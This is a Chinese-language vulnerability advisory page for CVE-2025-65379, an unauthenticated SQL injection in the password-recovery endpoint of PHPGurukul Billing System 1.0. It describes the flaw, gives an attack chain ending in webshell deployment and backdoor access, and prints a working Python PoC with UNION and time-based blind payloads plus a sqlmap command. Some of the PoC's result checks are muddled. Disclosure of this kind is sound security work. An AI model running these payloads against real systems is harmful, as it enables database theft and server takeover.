IPBUF安全漏洞报告
English
CVE-2025-65379 CVSS 6.5 中危

CVE-2025-65379 PHPGurukul Billing System 1.0 SQL注入漏洞

披露日期: 2025-12-02

漏洞信息

漏洞编号
CVE-2025-65379
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Billing System 1.0

相关标签

SQL注入PHPGurukulBilling SystemCVE-2025-65379密码恢复功能未授权访问MySQLWeb应用安全

漏洞概述

CVE-2025-65379是PHPGurukul Billing System 1.0中存在的一个中危SQL注入漏洞。该系统是一款基于PHP和MySQL开发的开源账单管理系统,广泛应用于小型企业和个人商户的日常财务管理。漏洞位于管理后台的密码恢复功能模块,具体路径为/admin/password-recovery.php。攻击者可以通过该接口的username和mobileno参数,注入恶意的SQL代码片段,从而实现未授权的数据库操作。由于密码恢复功能通常无需认证即可访问,因此漏洞具有较高的可利用性。攻击成功后,攻击者可能获取系统敏感信息,包括用户账户凭证、业务数据等,甚至可能在特定配置下实现系统命令执行。该漏洞的CVSS评分为6.5,属于中等严重程度,但考虑到其无需认证即可利用的特性,对暴露在互联网的管理后台系统构成实质性威胁。建议受影响的用户尽快采取修复措施或实施临时缓解策略。

技术细节

漏洞根源在于PHPGurukul Billing System 1.0的密码恢复功能未对用户输入进行充分的输入验证和参数化处理。在/admin/password-recovery.php文件中,程序直接获取username和mobileno参数的值,并将其直接拼接到SQL查询语句中,形成动态SQL查询。典型的漏洞代码模式如下:程序首先通过$_POST或$_GET获取用户提交的参数,然后使用字符串拼接方式构建SQL语句,如:$sql = "SELECT * FROM users WHERE username='$username' AND mobileno='$mobileno'"。这种实现方式允许攻击者通过在参数值中嵌入单引号、UNION SELECT、布尔盲注或时间盲注等SQL技术,绕过认证机制或提取数据库中的敏感信息。攻击者可以利用UNION注入获取其他表的数据,或使用布尔盲注基于页面响应差异推断数据内容。在MySQL数据库环境下,攻击者还可能利用INTO OUTFILE语句将webshell写入服务器,实现远程代码执行。完整的攻击利用通常需要结合SQLMAP等自动化工具或手动构造 payloads 来逐步探测和利用。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者识别目标网站使用的PHPGurukul Billing System 1.0,并定位/admin/password-recovery.php端点
STEP 2
步骤2
漏洞探测:攻击者使用单引号等特殊字符测试username和mobileno参数,观察SQL错误响应以确认注入点
STEP 3
步骤3
Payload构造:根据数据库类型(MySQL),攻击者构造针对性的SQL注入Payload,如UNION SELECT或布尔盲注语句
STEP 4
步骤4
数据提取:利用UNION注入或盲注技术,攻击者逐步提取数据库中的敏感信息,包括管理员账户和密码哈希
STEP 5
步骤5
权限提升:获取管理员凭证后,攻击者登录管理后台,可能进一步利用文件上传等功能实现webshell部署
STEP 6
步骤6
持久化控制:攻击者通过写入webshell或创建后门账户,建立持久化访问通道,实现远程命令执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-65379 SQL Injection PoC # Target: PHPGurukul Billing System 1.0 # Endpoint: /admin/password-recovery.php def exploit_sqli(target_url, payload): """ Execute SQL injection attack on password recovery endpoint Args: target_url: Base URL of the vulnerable application payload: SQL injection payload Returns: Response from the server """ endpoint = f"{target_url}/admin/password-recovery.php" # Inject payload into mobileno parameter (username also vulnerable) data = { 'username': 'admin', 'mobileno': payload, 'submit': 'Recover' } try: response = requests.post(endpoint, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_basic_injection(target_url): """Test basic SQL injection with single quote""" print("[*] Testing basic SQL injection...") payload = "'" response = exploit_sqli(target_url, payload) if response and ('error' in response.text.lower() or 'sql' in response.text.lower()): print("[+] Basic injection detected - server returns SQL error") return True return False def extract_data_blind(target_url): """ Extract database version using boolean-based blind injection This payload tests if the database version starts with specific characters """ print("[*] Attempting blind SQL injection to extract database version...") # Payload to extract MySQL version # Adjust sleep time based on database response base_payload = "1' AND (SELECT SUBSTRING(@@version,1,1))='5' AND SLEEP(3)---" response = exploit_sqli(target_url, base_payload) if response and response.elapsed.total_seconds() > 2: print("[+] Blind injection confirmed - database version starts with 5") return True return False def union_injection(target_url): """ Attempt UNION-based injection to extract user credentials Adjust column count based on actual table structure """ print("[*] Attempting UNION-based injection...") # Typical UNION injection to extract admin credentials # Column count may need adjustment (try 1-10) payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10---" response = exploit_sqli(target_url, payload) if response and 'UNION' not in response.text: print("[+] UNION injection may be blocked or column mismatch") else: print("[+] Potential UNION injection point detected") return response if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://target.com/billing-system") sys.exit(1) target = sys.argv[1].rstrip('/') print(f"[*] Target: {target}") print(f"[*] CVE-2025-65379 SQL Injection PoC") print("=" * 50) # Run vulnerability tests test_basic_injection(target) union_injection(target) extract_data_blind(target) print("\n[*] Scan complete. Use sqlmap for comprehensive testing:") print(f" sqlmap -u '{target}/admin/password-recovery.php' --data='username=admin&mobileno=*&submit=Recover'")

影响范围

PHPGurukul Billing System 1.0

防御指南

临时缓解措施
立即采取以下临时缓解措施:1)通过Web服务器配置(如Apache的.htaccess或Nginx配置)限制访问/admin/password-recovery.php路径,仅允许受信任的IP访问;2)暂时禁用密码恢复功能,要求管理员通过其他安全渠道重置密码;3)启用SQL查询日志监控,密切关注异常的数据库查询行为;4)部署基于规则的WAF(如ModSecurity)识别和阻止SQL注入特征Payload;5)实施网络层隔离,将管理后台与公网隔离,仅通过VPN或跳板机访问。在实施临时措施的同时,应尽快安排系统升级或代码修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表